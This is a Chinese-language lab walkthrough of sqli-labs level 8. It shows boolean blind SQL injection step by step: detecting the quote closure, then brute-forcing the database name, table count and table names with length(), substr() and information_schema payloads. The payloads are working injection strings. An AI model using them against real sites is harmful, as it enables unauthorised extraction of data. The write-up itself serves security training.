sqli-lbas第八关
1、输入id=1/id=1"都回显正常,输入?id=1'回显异常,可得闭合符号含有单引号',所以我们可以输入:?id=1'--+来判断闭合符号,结果发现闭合符号就是只有一个单引号
2、因为输入错误和正常页面都不会显示有用的东西,只是两者有一点区别,所以我们可以尝试使用布尔盲注
3、输入:?id=1' and length(database())=n--+,当n=8时发现页面回显同正常情况,所以可得数据库名为8个字符
4、输入:?id=1' and substr(database(),1,1)='a'--+
5、抓包,设置两个变量,攻击方式选择第四种,第一个变量为1~8,因为数据库名长为8
6、然后进行爆破,根据爆破结果可知数据库名为:security
7、判断该数据库下含有几个表:?id=1' and (select count(*) from information_schema.tables where table_schema=database())=1--+,然后将最后一个1设置为变量,进行攻击可得该数据库下含有4个表(注意这里的select语句末尾不要加分号;)
8、查看第一个表的表名长度:?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit0,1))=n--+(这里select语句要用两个括号包裹,一个不行,我也不清楚为什么,懂的告知一下,谢了),然后当n=6时页面回显同正常页面,所以第一个表的表名长为6
9、然后依次猜解每个表的表名,这里以第一个表为例:?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)="e"--+
10、抓包,爆破可得第一个表名为emails
11、后面的猜解以此类推就行